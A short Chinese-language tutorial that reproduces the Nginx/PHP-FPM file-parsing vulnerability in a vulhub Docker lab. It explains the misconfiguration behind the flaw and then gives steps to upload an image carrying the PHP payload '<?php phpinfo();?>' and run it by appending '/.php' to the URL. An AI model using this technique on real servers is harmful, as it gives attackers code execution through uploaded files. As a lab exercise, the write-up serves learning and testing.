重现Nginx解析漏洞的过程
1、漏洞原理
(1)由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。
(2)但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。
(3)最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。
2、漏洞复现
(1)切换目录:cd vulhub/nginx/nginx_parsing_vulnerability/php-fpm
(2)vim docker-compose.yml,修改端口映射。
(3) docker-compose up -d 启动。
(4)访问:http://192.168.254.128:85
(5)上传一个图片,burpsuite抓包。
(6)send to repeater,修改数据包,在末尾添加<?php phpinfo();?>,点击go。
(7)浏览器访问:
http://192.168.254.128:85/uploadfiles/e5bdc002bca6a0f0277dd65a7a3c6ed6.jpg/.php
推荐阅读
-
解析uvc设备的注册过程与uvc摄像头驱动相关
-
玩转LINQ体验(14):深入解析LINQ to SQL中的存储过程
-
从URL到页面显示的全过程解析:回流、重绘和优化,让你一次搞懂
-
Soul源码解析系列(3):揭秘插件如何被加载和执行的过程
-
常见 Tomcat 漏洞重现方法解析
-
菜鸟也能轻松上手!详尽解析Appscan漏洞扫描工具的使用教程
-
Nginx内的设计模式解析
-
实战解析:MySQL中的存储过程、游标与事务
-
全面解析MySQL存储过程:变量、游标、存储函数、循环和判断语句,以及参数传递的方法
-
全面解析NSA泄密事件中的SMB漏洞与Doublepulsar后门攻击,并通过全球数据分析探讨其影响